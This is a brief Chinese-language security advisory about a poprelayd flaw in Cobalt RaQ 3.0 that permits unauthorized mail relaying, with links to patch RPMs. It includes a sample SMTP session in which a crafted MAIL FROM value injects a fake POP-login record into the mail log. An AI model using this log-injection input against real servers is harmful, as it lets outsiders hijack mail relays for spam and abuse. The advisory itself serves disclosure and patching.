受影响系统： Cobalt RaQ 3.0 漏洞内容： poprelayd 是为合法pop登陆解析/var/log/maillog的脚本，基于 登陆的客户端，允许用户登陆POP3服务也可以从这个地址发送EMAIL。 poprelayd对/var/log/maillog文件输出不验证，这可能导致用户 通过SENDMAIL建立任意字符串记录到文件中，因此允许远程用户 通过SMTP服务来relay邮件。 攻击实例： telnet dumbcobalt 25 Trying 123.123.123.123... Connected to dumbcobalt ... ehlo dumbcobalt ... mail from:\"POP login by user \"admin\" at (66.66.66.66) 66.66.66.66 @linux.org\" 553 \"POP login by user \"admin\" at (66.66.66.66) 66.66.66.66 @linux.org\"...Domain name required 解决方案： 下载补丁： Cobalt RaQ 3.0: Sun RPM RaQ3 poprelayd-2.0-4.src.rpm ftp://ftp.cobaltnet.com/pub/experimental/SRPMS/poprelayd-2.0-4.src.rpm Sun RPM RaQ3 poprelayd-2.0-4.noarch.rpm ftp://ftp.cobaltnet.com/pub/experimental/RPMS/poprelayd-2.0-4.noarch.rpm